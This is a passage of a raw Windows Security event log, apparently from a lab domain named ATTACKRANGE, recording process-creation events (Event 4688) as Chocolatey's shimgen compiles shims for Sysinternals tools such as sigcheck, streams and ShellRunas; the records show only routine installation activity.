administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:20 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246887 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x5b0 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xb88 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:20 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246886 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb88 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xd64 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\streams.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123426_8175\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123426_8175\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123426_8175\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123426_8175\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123426_8175\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:20 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246885 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe74 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xd64 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:20 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246884 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd64 - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\streams.exe" --output="C:\ProgramData\chocolatey\bin\streams.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\streams.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:20 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246883 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xef8 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xe2c - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESD44.tmp" "c:\ProgramData\chocolatey\bin\CSCF0DD14081B734126AAF1640365D88C3.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:20 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246882 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc28 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xe2c - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:20 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246881 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe2c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xe08 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\sigcheck64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123426_6143\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123426_6143\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123426_6143\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123426_6143\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123426_6143\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:20 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246880 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb18 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xe08 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:20 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246879 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe08 - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\sigcheck64.exe" --output="C:\ProgramData\chocolatey\bin\sigcheck64.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\sigcheck64.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:20 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246878 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe6c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x5d8 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESC6A.tmp" "c:\ProgramData\chocolatey\bin\CSC86FF810FB40A484C9969EF7C26B9BA.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:20 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246877 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb34 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x5d8 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:20 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246876 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x5d8 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xfbc - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\sigcheck.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123426_3956\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123426_3956\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123426_3956\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123426_3956\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123426_3956\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:20 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246875 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x3fc - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xfbc - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:20 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246874 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xfbc - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\sigcheck.exe" --output="C:\ProgramData\chocolatey\bin\sigcheck.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\sigcheck.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:20 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246873 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa1c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x2e0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESB8F.tmp" "c:\ProgramData\chocolatey\bin\CSCE89C829BC50B42FBB6DBAE8B90107637.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:20 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246872 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb24 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x2e0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:20 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246871 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x2e0 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xaf0 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\ShellRunas.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123426_1612\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123426_1612\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123426_1612\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123426_1612\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123426_1612\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:20 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information 